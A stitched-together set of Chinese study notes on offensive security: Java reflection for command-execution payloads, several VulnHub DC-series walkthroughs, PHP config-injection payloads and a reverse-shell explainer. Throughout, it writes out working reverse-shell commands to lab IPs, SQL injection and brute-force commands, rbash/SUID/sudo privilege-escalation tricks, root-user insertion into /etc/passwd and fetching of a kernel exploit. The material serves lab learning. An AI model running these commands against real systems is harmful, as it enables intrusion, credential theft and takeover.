0%

开始学习java安全,反射肯定是避不开的,虽然很早之前写过一点记录,但还是再学一遍

Java反射是啥

Java反射就是说,对于任意的一个类,我们都可以通过反射获取这个类中所有的属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制

通过Class类对象来获取StudentTeacher类中的成员变量和成员方法,而不是直接通过创建StudentTeacher类对象,这就叫反射

利用反射创建类对象

获取了Class对象,现在可以通过反射来生成实例化对象,一般我们使用Class对象的newInstance()方法来进行创建类对象。

使用的方式也特别简单,只需要通过forname方法获取到的class对象中进行newInstance方法创建即可。

1
2
Class c = Class.forName("com.reflect.MethodTest"); // 创建Class对象
Object m1 = c.newInstance(); // 创建类对象

利用反射机制创建类并执行方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class ReflectTest {
    public void reflectMethod() {
        System.out.println("反射测试成功!!!");
    }
    public static void main(String[] args) {
        try {
            Class c = Class.forName("com.reflect.ReflectTest"); // 创建Class对象
            Object m = c.newInstance(); // 创建类实例对象
            Method method = c.getMethod("reflectMethod"); // 获取reflectMethod方法
            method.invoke(m); // 调用类实例对象方法
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在正常情况下,除了系统类,如果我们想拿到一个类,需要先导入才能使用。而使用forName就不需要,这样对于攻击者来说就十分有利,我们可以加载任意类

同时,forName()还可以获取内部类

我们通过forName获得类之后用newInstance()来调用这个类的无参构造函数,但有时这个方法会失败,原因可能是:

1
2
你使用的类没有无参构造函数
你使用的类构造函数是私有的,而我们并没有权限去调用构造函数

常见的情况就是 java.lang.Runtime ,这个类在我们构造命令执行Payload的时候很常见,但我们不能直接这样来执行命令:

1
2
Class clazz = Class.forName("java.lang.Runtime"); 
clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "id");

因为Runtime类的构造方法是私有的。
但还是有方法获取到这个类的,这涉及到单例模式。

比如,对于Web应用来说,数据库连接只需要建立一次,而不是每次用到数据库的时候再新建立一个连接,就可以将数据库连接使用的类的构造函数设置为私有,然后编写一个静态方法来获取:

1
2
3
4
5
6
7
8
public class TrainDB {
private static TrainDB instance = new TrainDB();
public static TrainDB getInstance() {
return instance;
}
    private TrainDB() {
// 建立连接的代码...
}

之后获取这个类的方法为getInstance。

Runtime类就是单例模式,我们只能通过 Runtime.getRuntime() 来获取到 Runtime对象。将上述Payload进行修改即可正常执行命令了:

1
2
Class clazz = Class.forName("java.lang.Runtime"); 
clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "calc.exe");

Runtime.exec有6个重载,第一个重载,它只有一个参数,类型是String,所以我们使用 getMethod(“exec”, String.class) 来获取 Runtime.exec 方法。
invoke 的作用是执行方法,它的第一个参数是:

1.如果这个方法是一个普通方法,那么第一个参数是类对象

2.如果这个方法是一个静态方法,那么第一个参数是类

这也比较好理解了,我们正常执行方法是 [1].method([2], [3], [4]…) ,其实在反射里就是 method.invoke([1], [2], [3], [4]…) 。

所以我们将上述命令执行的Payload分解一下就是:

1
2
3
4
5
Class clazz = Class.forName("java.lang.Runtime");
Method execMethod = clazz.getMethod("exec", String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");//获取getRuntime方法
Object runtime = getRuntimeMethod.invoke(clazz);//执行getRuntime方法获取Runtime对象
execMethod.invoke(runtime, "calc.exe");

解决两个问题

1.如果一个类没有无参构造方法,也没有类似单例模式里的静态方法,我们怎样通过反射实例化该类呢?

2.如果一个方法或构造方法是私有方法,我们是否能执行它呢?

那么我们可以尝试获取构造器来实例化类

第一个问题

这里要引入新的反射方法 getConstructor

和 getMethod 类似,getConstructor 接收的参数是构造函数列表类型,因为构造函数也支持重载, 所以必须用参数列表类型才能唯一确定一个构造函数。

获取到构造函数后,我们使用 newInstance 来执行。

ProcessBuilder有两个构造函数:

1
2
1.public ProcessBuilder(List<String> command)
2.public ProcessBuilder(String... command)

比如,我们常用的另一种执行命令的方式ProcessBuilder,我们使用反射来获取其构造函数,然后调用 start() 来执行命令

1
2
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start();

上面用到了第一个形式的构造函数,所以我在 getConstructor 的时候传入的是 List.class 。
但是,我们看到,前面这个Payload用到了Java里的强制类型转换,有时候我们利用漏洞的时候(在表 达式上下文中)是没有这种语法的。所以,我们仍需利用反射来完成这一步。

其实用的就是前面讲过的知识:

1
2
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance( Arrays.asList("calc.exe")));

通过 getMethod(“start”) 获取到start方法,然后 invoke 执行, invoke 的第一个参数就是 ProcessBuilder Object了。
那么,如果我们要使用 public ProcessBuilder(String… command) 这个构造函数,需要怎样用反 射执行呢?

这又涉及到Java里的可变长参数了。正如其他语言一样,Java也支持可变长参数,就是当你 定义函数的时候不确定参数数量的时候,可以使用 … 这样的语法来表示“这个函数的参数个数是可变的”。

对于可变长参数,Java其实在编译的时候会编译成一个数组,也就是说,如下这两种写法在底层是等价 的(也就不能重载):

1
2
public void hello(String[] names) {}
public void hello(String...names) {}

那么对于反射来说,如果要获取的目标函数里包含可变长参数,其实我们认为它是数组就行了。
所以,我们将字符串数组的类 String[].class 传给 getConstructor ,获取 ProcessBuilder 的第二种构造函数:

1
2
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getConstructor(String[].class);

在调用 newInstance 的时候,因为这个函数本身接收的是一个可变长参数,我们传给 ProcessBuilder 的也是一个可变长参数,二者叠加为一个二维数组,所以整个Payload如下

1
2
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}})).start();

第二个问题
这就涉及到 getDeclared 系列的反射了,与普通的 getMethod 、 getConstructor 区别是:

1.getMethod 系列方法获取的是当前类中所有公共方法,包括从父类继承的方法

2.getDeclaredMethod 系列方法获取的是当前类中“声明”的方法,是实在写在这个类里的,包括私有的方法,但从父类里继承来的就不包含了

举个例子,前文我们说过Runtime这个类的构造函数是私有的,我们需要用 Runtime.getRuntime() 来 获取对象。其实现在我们也可以直接用 getDeclaredConstructor 来获取这个私有的构造方法来实例 化对象,进而执行命令:

1
2
3
4
Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(m.newInstance(), "calc.exe");

信息收集

1、使用nmap扫描靶机,开放了111端口和80端口

图片

2、111端口没有什么可以利用的点,只有80端口了,访问一下80端口

得知:网站使用的是Nginx的中间件,php语言

图片

3、最终在Contact页面发现一个有交互的地方

4、尝试了很多没有发现问题所在,看了大佬的文章才知道。原来提交的内容之后,刷新thankyou.php页面,下方时间会有变化

图片

5、之后使用DirBuster工具来扫描一下敏感文件

扫描到thankyou.php文件和footer文件,访问一下footer.php文件,发现该文件的内容就是之前提交之后下方显示的时间,这样的话,thankyou.php文件中应该包含了footer.php文件。所以thankyou.php文件应该是存在文件包含漏洞的

文件包含漏洞的利用

1、在Contact.php页面中填写完表单提交,然后使用bp抓包发送到repeater模块

2、然后不断发包,查看数字也会变化

图片

3、读取/etc/passwd文件,能够读取,看来是确实存在文件包含漏洞的。

图片

4、读取nginx配置文件信息,发现nginx日志记录文件路径

传一句话木马

6、进行包含时nginx的错误日志,利用一句话木马

反弹shell

1、利用一句话来反弹shell

首先在kali机上设置监听:nc -nlvp 1234

然后使用一句话 nc -e /bin/sh IP port 来反弹

图片

成功反弹shell

2、 接受交互式的shell,因为之前得到的shell不太稳定,所以需要去拿到一个稳定的shell,使用命令:python -c “import pty;pty.spawn(‘/bin/bash’)”

3、查看系统相关的一些信息

图片

3、查找具有SUID权限的文件

这两个命令都可以查找

1
2
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

suid用来提权的一般有:Nmap 、Vim、 find、 Bash、 More 、Less、 Nano 、cp
但是都没有这些命令,有一个奇怪的screen-4.5.0,所以可以用这个来提权

图片

提权

1、使用命令searchsploit来查询漏洞利用的脚本

searchsploit screen 4.5.0
2、利用POC这个脚本,将其先复制出来

cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
3、查看一下脚本的使用

大概的步骤是分别将两部分的c代码编译为可执行文件,然后将其上传的靶机,按照提示的命令进行提权

1
2
3
4
5
6
7
8
9
10
第一步
​将第一部分的c代码放入libhax.c文件中进行编译
命令:gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
第二步
​将第二部分c代码放入rootshell.c文件中进行编译
命令:gcc -o /tmp/rootshell /tmp/rootshell.c
第三步
将编译好的可执行文件上传到靶机的tmp目录下
第四步
按照脚本提示的命令进行提权

详情有点小复杂,我也是参照了几个wp才成功,这里贴一个我觉得比较详细的https://blog.csdn.net/qq_34028816/article/details/124572718
之后编译并上传后直接运行sh文件就能提权成功

知识点总结

1、端口扫描,熟悉常见的端口

2、目录扫描,工具有:御剑、dirsearch、DirBuster等等

3、文件包含漏洞及其利用

4、searchsploit命令的使用

5、screen提权

1.suid提权

1
运行某些程序时暂时获得root的权限,例如ping(socket需要root才能运行)

搜索符合条件的可以用来提权的:

1
2
3
4
5
find / -perm -u=s -type f 2>/dev/null 
稍微解释下 在根目录里寻找用户权限为root的文件 2>/dev/null 这个是不显示报错信息
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -user root -perm -4000 -print 2>/dev/null
三种都可以

搜索可以提权的程序,一般有以下 :

1
nmap vim find Bash More Less Nano cp

举例:find提权

1
find / -perm -u=s -type f 2>/dev/null

图片

发现find可以利用

普通用户,进入到/tmp目录下,然后新建一个文件。

1
2
touch abcd
find abcd -exec whoami \;

图片

会发现已经是root权限

2.rbash绕过

1
rbash就是受限制的bash,一般管理员会限制很多命令,例如whoami cd cat等很多常用的命令,不过肯定会有命令可以使用,我们可以查看$PATH有哪些,或者自己挨个试  

1.

1
echo $PATH  #查看自己可以使用的命令

图片

1
less,ls,scp,vi

是我们可以用的
尝试用以下来绕过

#干就完事了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
1.
vi test
:!/bin/sh
2.ed
3.ne
4. more less
more test 
!'sh'
5.
man ls
操作同more less
6.find
/usr/bin/find /etc/passwd  -exec whoami \;
/usr/bin/find /etc/passwd  -exec /bin/sh \;
7.nmap
低版本
8.awk
awk 'BEGIN {system("/bin/sh")}'
9.python
python -c "import os;os.system('whoami')"
python -c "import os;os.system('/bin/sh')"
python -c "import pty;pty.spawn('/bin/sh')"
10.ruby
11.perl
12.php
13.
BASH_CMDS[a]=/bin/sh;a

最后用13成功绕过了rbash,进入了bash

图片

3.

执行:

1
2
3
4
5
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

或者:PATH=$PATH:/bin
PATH=$PATH:/usr/bin

3.git提权

1
2
3
4
5
sudo git help config
!/bin/bash或者!'sh'完成提权

sudo git -p help
!/bin/bash

4.cve-2017-8917

Linux Kernel 4.4.x (Ubuntu 16.04) - ‘double-fdput()’ bpf(BPF_PROG_LOAD) Privilege Escalation

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

5.sudoer配置文件错误提权

5.1 基础知识

1
2
3
4
5
6
7
有的时候,普通用户经常要执行某个命令,但是经常需要sudo输入密码,我们就可以通过配置/etc/sudoers文件来实现普通用户某个命令权限的提升,但是如果一旦是给了用户写入的root权限,比如vi,那么这个普通用户一旦被入侵,就可以通过vi来提权
首先来看/etc/sudoers
chmod u+w /etc/shudoers
vi /etc/sudoers
看到这里
# User privilege specification
root ALL=(ALL:ALL) ALL

图片

1
2
3
4
root:代表用户
第一个ALL:之网络中的主机,我也不知道什么意思,但是这个all还是不动好了
第二个(ALL:ALL):指以谁的身份去执行,root就行了
第三个ALL:指所有的命令,可以自己制定,比如/bin/ls,/bin/nc

看下面的图:
代表了用户zaq可以以root的权限运行ls指令

图片

前边要加sudo,可以看到zaq用户成功查看了/root目录的结构

图片

sudo -l 显示出自己(执行 sudo 的使用者)的权限

图片

5.2 提权

1
2
如果这个/bin/ls变成了可以写入文件的命令会怎么办呢?比如:
/usr/bin/tee

使用crontab提权
基本过程:向定时任务执行脚本/etc/crontab文件中写入一个新的定时任务,然后通过teehee的sudo提升权限,再以 root身份写入crontab计划任务通过执行获取root权限

操作过程如下:
1、echo root chmod 4777 /bin/sh > /etc/crontab
2、sudo teehee /etc/crontab,然后写入的内容:* * * * * root chmod 4777 /bin/sh
(时间部分全部填写为*,默认这个定时任务每分钟执行一次。通过执行的脚本将 /bin/sh 的权限修改为4777,这样就可以在非root用户下执行它,并且执行期间拥有root权限。)
3、ls -la /bin/sh
4、/bin/sh
图片

添加新用户提权

添加一个admin账户,然后使用teehee执行直接写入 passwd中,然后切换为创建的admin用户。

1、echo “test::0:0:::/bin/bash”
2、sudo teehee -a /etc/passwd
3、输入:test::0:0:::/bin/bash
4、然后ctrl+c退出,再su test切换用户,即可获得root权限

设置uid和gid都为0,那么这个用户就相当于root
格式:[用户名]:[密码]:[uid]:[gid]:[身份描述]:[主目录]:[登录的 shell]
5.2suid

图片

1
值得注意的是:chmod 4777 /bin/bash不会有这种效果

经典的配置文件写入问题漏洞.

1
2
3
4
5
6
<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

config.php 的内容如下:

1
2
<?php
$option='test';

要求是要getshell,此处不存在之前说的那个配置文件中用的是”双引号”引起任意代码执行的问题,这这里面用的是单引号,而且 addslashes()处理过

方法一,利用换行符来绕过正则匹配的问题

可以看到正则匹配的是以下内容:

1
$option='任意内容'

任意内容里面是可以包含转移符 \ 的

1
2
http://127.0.0.1/index.php?option=a';%0aphpinfo();//
http://127.0.0.1/index.php?option=a

执行完第一个之后,config.php中的内容为:

1
2
3
<?php
$option='a\';
phpinfo();//';

但是这样并没有办法执行phpinfo(),因为我们插入的 单引号 被转移掉了,所以phpinfo()还是在单引号的包裹之内. 我们在访问下面这个

1
http://127.0.0.1/index.php?option=a

因为正则 .* 会匹配行内的任意字符无数次.所以 \ 也被认为是其中的一部分,也会被替换掉,执行完之后,config.php中的内容为:

1
2
3
<?php
$option='a';
phpinfo();//';

转义符就被替换掉了

方法二,利用 preg_replace函数的问题:

preg_replace函数在处理字符串的时候,会自动对第二个参数的 \ 这个字符进行反转移. 就是说如果字符串是 ',经过 preg_replace()的处理,就变为 \‘,单引号就逃出来了. 所以payload如下:

1
http://127.0.0.1/index.php?option=a\';phpinfo();//

config.php变为:

1
2
<?php
$option='a\\';phpinfo();//';

道理就是 a’;phpinfo();// 经过 addslashes()处理之后,变为a';phpinfo();// 然后两个反斜杠被preg_replace变成了一个,导致单引号逃脱.

利用 preg_replace() 函数的第二个参数的问题

先看官方对preg_replace()函数的描述manual 函数原型:

1
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

对replacement的描述.

replacement中可以包含后向引用\n 或(php 4.0.4以上可用)$n,语法上首选后者。 每个 这样的引用将被匹配到的第n个捕获子组捕获到的文本替换。 n 可以是0-99,\0和$0代表完整的模式匹配文本。
所以我们可以用:

1
2
http://127.0.0.1/test/ph.php?option=;phpinfo();
http://127.0.0.1/test/ph.php?option=%00 或者 http://127.0.0.1/test/ph.php?option=$0

执行第一条后config.php的内容为:

1
2
<?php
$option=';phpinfo();';

再执行第二条后config.php的内容为:

1
2
<?php
$option='$option=';phpinfo();';';

刚好闭合掉了前后的两个单引号中间的逃脱出来了

环境配置

攻击机和靶机均设置NAT,靶机记得设置获取MAC

步骤

一、信息收集

1、使用nmap扫描扫描到192.168.2.20,开放了22和80端口

1
我这里用arp-scan -l

图片

2、然后访问一下80端口

3、提示是需要admin来登录,而且没有其他的限制,尝试爆破。

图片

密码是happy(我这里是因为kali里的burp不是专业版跑起来很慢,直接只放了一个密码)

4、登录之后页面有一个可以执行命令的页面

可以执行ls df du等命令 抓包试下

二、反弹shell

1、既然命令可以直接显示,那就可以构造直接反弹shell了,使用burp抓包,修改radio的参数如下:

1
radio=nc+192.168.12.149+9999+-e+/bin/bash&submit=Run

图片

开始反弹shell,然后再kali中设置监听,成功反弹shell

图片

2、使用python获取到交互模式

python -c ‘import pty;pty.spawn(“/bin/bash”)’
3、进入到/home目录下,查看到有三个用户,但是只有jim用户下有文件

图片

查看backups目录下的文件,看到了jim用户的密码本

三、ssh登录靶机

1、将其密码本复制出来,因为靶机还开放了22端口,所以可以进行ssh的爆破,这里我使用的是hydra工具

hydra -l jim -P password.txt -t 10 ssh://192.168.12.149
图片

成功得到jim用户的密码为:jibril04

2、登录

3、最后在var/mail目录下看到一封邮件,得到charles的密码为: ^xHhA&hvim0y

图片

4、切换为charles用户,然后登录,尝试切换为root权限,但是失败了

5、用sudo -l看看还有什么用户能使用root,发现teehee用户可以不用输入密码得到root特权

图片

四、提权

两种方式:使用crontab提权和添加新用户提权

使用crontab提权

基本过程:向定时任务执行脚本/etc/crontab文件中写入一个新的定时任务,然后通过teehee的sudo提升权限,再以 root身份写入crontab计划任务通过执行获取root权限

操作过程如下:
1、echo root chmod 4777 /bin/sh > /etc/crontab
2、sudo teehee /etc/crontab,然后写入的内容:* * * * * root chmod 4777 /bin/sh
(时间部分全部填写为*,默认这个定时任务每分钟执行一次。通过执行的脚本将 /bin/sh 的权限修改为4777,这样就可以在非root用户下执行它,并且执行期间拥有root权限。)
3、ls -la /bin/sh
4、/bin/sh
添加新用户提权

添加一个admin账户,然后使用teehee执行直接写入 passwd中,然后切换为创建的admin用户。

1、echo “test::0:0:::/bin/bash”
2、sudo teehee -a /etc/passwd
3、输入:test::0:0:::/bin/bash
4、然后ctrl+c退出,再su test切换用户,即可获得root权限

设置uid和gid都为0,那么这个用户就相当于root
格式:[用户名]:[密码]:[uid]:[gid]:[身份描述]:[主目录]:[登录的 shell]
我这里使用的是添加新用户提权

图片

图片

知识点总结

1、后台密码爆破,使用burp爆破,工具爆破等等都可以

2、命令注入漏洞

3、反弹shell的命令

4、利用teehee命令进行提权(这里使用crontab提权和添加新用户提权)

@正向连接:

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。

 

@反向连接:

为什么需要用到反弹shell呢?

反弹shell通常适用于如下几种情况:

 1目标机因防火墙受限,目标机器只能发送请求,不能接收请求。

 2目标机端口被占用。

 3目标机位于局域网,或者IP会动态变化,攻击机无法直接连接。

     4对于病毒、木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。

     …….

    对于以上的几种情况,我们都是无法利用正向连接的,需要用到反向连接。

    所以这里反向连接就很好理解了,就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,即为反向连接。

反弹shell的方式有很多,那具体要用到哪种方式还需要根据主机的环境来确定,比如目标主机上如果安装有netcat,那我们就可以利用netcat反弹shell;如果具有python环境,也可以利用python来反弹shell;如果具有php环境,也可以利用php来反弹shell等等......

常见的反弹shell命令

1
bash -i >& /dev/tcp/192.168.25.144/8888 0>&1

我们将命令拆开

1
2
3
bash -i 
/dev/tcp/192.168.25.144/8888
 >&   0>&1

bash
Linux中一般默认的shell是bash,它功能几乎可以涵盖shell所具有的功能,所以一般的shell脚本都会指定它为执行路径

常用的shell有  ash、bash、dash、ksh、csh、zsh 等,不同的shell都有自己的特点以及用途

查询当前shell命令    ls -l /bin/sh

bash -i  打开一个交互式的bash            shell 如果有 -i 参数,就是交互式的

交互的意思就是可以和用户进行交互,输入命令,回显给用户就是一个交互的过程,而执行一个shell脚本就是非交互的

使用命令  echo $-  可以查看是否是交互式shell

/dev目录

dev是设备(device)的英文缩写。这里主要存放与设备(包括外设)有关的文件,Linux一切皆文件

 /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/

1
/dev/tcp/192.168.25.144/8888

所以上述命令就是和192.168.25.144:8888建立TCP连接
文件描述符

Linux 系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件。

所有执行I/O操作的系统调用都会通过文件描述符,即文件描述符可控制输入输出(输入/输出重定向)

标准输入(stdin):           代码为  0     使用 < 或 <<          默认设备键盘

标准输出(stdout):         代码为  1     使用 > 或 >>          默认设备显示器

标准错误输出(stderr):  代码为   2    使用 2> 或 2>>      默认设备显示器

大多数Linux 系统命令从你的终端接受输入并将所产生的输出发送回​​到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端

反弹shell最好的办法就是使用bash结合重定向方法的一句话,具体命令如下

bash  -i  >&  /dev/tcp/xx.xx.xx.xx/2333  0>&1

 或bash  -c  “bash  -i  >&  /dev/tcp/xx.xx.xx.xx/2333  0>&1”

# bash  -i   >&  /dev/tcp/攻击机IP/攻击机端口  0>&1

@针对Bash反弹一句话进行拆分:

命令 命令详解
bash  -i 产生一个bash交互环境
>& 将联合符号前面的内容与后者相结合,然后一起重定向给后者
/dev/tcp/xx.xx.xx.xx/2333 Linux环境中所有的内容都以文件的形式存在的,其实大家一看这个内容就明白,就是让目标主机与攻击机xx.xx.xx.xx的2333端口建立一个tcp连接
0>&1 将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容

 

@bash反弹一句完整的解读过程就是:

   Bash产生了一个交互环境和本地主机主动发起与攻击机2333端口建立的连接(即TCP2333会话连接)相结合,然后在重定向与TCP 2333会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个Bash反弹环境

攻击机(vps服务器)开启本地监听:

命令:nc  -lvvp  2333

目标机主动连接攻击机:

命令:bash  -i  >&  /dev/tcp/xx.xx.xx.xx/2333  0>&1

查看攻击机(vps服务器)发现成功的拿到了shell,已经变成了root@kali,这里继续输入命令查看:

命令:whoami

暂且到这吧以后再补

环境搭建

(为了方便,两台机器都设置为NAT,靶机记得获取MAC)

靶机下载地址:https://www.vulnhub.com/entry/dc-32,312/

目标:root目录下的flag

信息收集

nmap扫描,得到靶机的ip,开放了80端口,可以访问nhttp服务,而且还扫描出了网站的后台是Joomla的cms系统

图片

访问http服务,提示靶场中只有一个flag,但是要得到root权限才可以。

图片

因为是joomla的cms系统,所以可以用扫描工具joomscan来探测信息

我这里用的是whatweb效果也是一样,这里直接借用网上的图

1
2
3
4
5
joomscan工具安装:
git clone https://github.com/rezasp/joomscan.git
cd joomscan
使用:
perl joomscan.pl --url 具体的url

图片

图片

还可以使用nmap来探测

扫描出joomla的版本为3.7,存在有一个cve-2017-8917的漏洞(利用该漏洞攻击者可以在未授权的情况下进行SQL注入攻击)

图片

可以使用searchsploit来查找对应版本有一个sql注入

searchsploit Joomla 3.7.0

漏洞利用

1
http://你的 IP 地址:端口号/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

图片

爆数据库名

1
sqlmap -u "http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"  --dbs --batch

爆表名,发现有张#_users表

1
sqlmap -u "http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"  -D joomladb --tables --batch

爆字段,无法获取字段名

1
sqlmap -u "http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"  -D joomladb -T "#__users" -C name,password --dump --batch

把爆出来的hash值放在一个新建的hash.txt文件中,然后使用john来获取明文密码为:snoopy

1
john  hash.txt

登录后台

访问我们信息收集到的网站的后台:http://ip:port/administrator

我的为:http:192.168.0.106:80/administrator   成功登录

getshell

在Templates模版设置中,可以编辑这些php文件,然后从外部访问。

在任意一个php文件中插入木马都可以

方式1:直接插入反弹shell的语句

在模版中添加反弹php的shell的语句,然后监听就可以

& /dev/tcp/kali的ip/4444 0>&1' "); ?>
& /dev/tcp/192.168.0.114/4444 0>&1' "); ?>

在kali中设置好监听窗口,然后在浏览器访问:192.168.0.106/templates/beez3/error.php,反弹shell

方式2、直接插入一句话木马

直接插入php一句话木马,使用蚁剑连接成功

方式3、插入冰蝎的木马

冰蝎默认的php木马

成功getshell

提权

可以不是root权限

执行uname -a查看内核版本,靶场环境系统为ubuntu 16.04

可以不是root权限

执行uname -a查看内核版本,靶场环境系统为ubuntu 16.04

图片

查看漏洞介绍

1
2
3
cat /usr/share/exploitdb/exploits/linux/local/39772.txt

介绍中给出了exp的地址:https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

下载exp,使用刚才的蚁剑获得的权限将其上传
解压运行,成功提权

1
2
3
4
5
6
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput

查看flag
图片

知识点总结

1、可以了解一下Joomla

2、joomscan扫描工具的使用

3、cve-2017-8917漏洞的利用

4、利用linux的内核漏洞进行提权

环境部署

kali和DC都设置成NAT,DC记得获取到MAC地址

信息收集

1
nmap -sP 192.168.0.0/24

使用nmap进行扫描,发现dc-2靶机的ip为:192.168.0.131
图片

1
nmap -A -p 1-65535 192.168.0.131

继续扫描靶机的端口,可以看到开放了80端口和7744端口(在此端口上部署了ssh服务)
图片

因为开放了80端口,所以在浏览器中访问:http://192.168.0.131:80,发现url变成了http://dc-2,很明显,DNS没有被解析。

图片

再次查看一下nmap的扫描结果,发现如下结果,nmap给出了无法跟踪跳转到http://dc-2/,所以我们需要去添加hosts的地址

1
nmap -A -p 1-65535 192.168.0.131

图片

hosts文件所在路径

1
2
windows:C:\Windows\System32\drivers\etc\hosts
linux:/etc/hosts

然后再次访问:http://192.168.0.131:80,是一个wordpress的界面。找到第一个flag1
图片

全部翻译过来如下

图片

爆破账户名和密码

密码生成

1、提示我们需要一个用户名来登录,而且其中有一个关键字:cewl(kali自带这个工具),这是一个linux的字典生成工具,最大的特点就是能够爬取网站的信息并生成字典。

使用cewl来爬取网站并生成密码字典

1
2
cewl http://dc-2/ -w dc-2.txt #生成字典
wc -l dc-2.txt #查看字典中有多少行

扫描用户名账号

因为网站是wordpress,所以采用wpscan来扫描

wpscan –url dc-2  -e u #扫描出网站的用户名
发现了3个账号:admin、jerry、tom

开始爆破

1、使用之前获取的三个用户名和cewl工具生成的字典的来爆破

dc-2-user.txt文件:存放用户名   dc-2.txt:存放密码

1
wpscan --url http://dc-2/-U dc-2-user.txt -P dc-2.txt

成功爆出jerry和tom的密码:

jerry/adipiscing
tom/parturient
登录后台,wordpress默认后台路径是:/wp-login.php,访问后台登录界面

使用jerry用户登录(使用tom登录没有什么有用的信息)点击Pages按钮,查看到flag2,查看flag2

图片

翻译过来

图片

ssh登录靶机

使用之前爆破的用户名和密码来登录

jerry/adipiscing
tom/parturient
使用jerry登录,被拒绝登录了,只能使用tom用户登录

图片

虽然登陆了ssh登录成功,但是无法使用cat或者vim查看flag3

但是这里查看可以用的命令的话,是可以用vi查看的话,这里尝试绕过提权

绕过rbash

查看环境变量,发现只有4个命令可以使用

图片

即我们获取到的shell为:Restricted shell(受限制的shell),可以添加环境变量来绕过

#绕过rbash

BASH_CMDS[a]=/bin/sh;a

#添加环境变量

export PATH=$PATH:/bin/

export PATH=$PATH:/usr/bin/

成功读取flag3

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

翻译:可怜的老汤姆总是追随杰里。也许他应该承受自己造成的所有压力。

线索指向了jerry,提示使用su切换用户

使用su jerry切换为jerry用户,密码为之前获取的密码,成功读取flag4

图片

git提权

查看jerry可以以root用户的身份执行git命令而且还不需要密码

1
sudo -l

提权

1
2
3
4
5
6
7
方法1:
sudo git -p help #强制进入交互状态
!/bin/bash #打开一个用户为root的shell

方法2:
sudo git help config #在末行命令模式输入
!/bin/bash 或者 !'sh' #打开一个用户为root的shell

图片

成功获取到最后一个flag

图片

知识点总结

1、wordpress的后台登陆点以及域名解析

2、cewl工具和wpscan工具的使用

3、su命令切换用户

4、git提权

环境配置:

kail和DC都设置为NAT模式

图片

然后开始信息搜集,首先确认自己的ip

图片

因为靶场和主机存在于同一网段,就先主机存活探测下

图片

上面的是DC靶机

arp-scan -l查询后确认完毕

图片

获得 DC-1 IP:192.168.12.146

2.查找到IP后可以查看靶机开启了什么端口(可以使用nmap)

nmap -A 192.168.12.146

-A : 激进型 启用许多扫描选项,版本扫描,脚本扫描等(慎用)

图片

开启了20.80.111端口,尝试访问下ip

图片

3.指纹识别(whatweb)

whatweb -v 192.168.12.146

图片

通过查看返回信息 很容易找到CMS版本以及名字

2.漏洞利用

Drupal的话msf有一些现成的模块我们可以尝试试试

1.进入msf

msfconsole
2.查找相应模块

search Drupa
图片

3.使用相应模块,咱也都试了下,发现 exploit/unix/webapp/drupal_drupalgeddon2 这个里面可以。

use exploit/unix/webapp/drupal_drupalgeddon2
4.选择查看payload有什么

show payloads

5。使用payload

set payload php/meterpreter/reverse_tcp

6.查看需要配置的参数

show options

yes的地方是必填的,默认基本上帮我们填好了。我们只需要填靶机IP即可也就是填RHOSTS

7.配置

set rhosts 192.168.16.124

8.启动

exploit

图片

session已建立

9.查看DC-1基本信息

sysinfo

图片

10.获得shell

shell
为了方便看我们使用python进行反弹

python -c “import pty;pty.spawn(’/bin/bash’)”
图片

3.flag1

ls直接查看当前文件,我们就可以看到flag1.txt

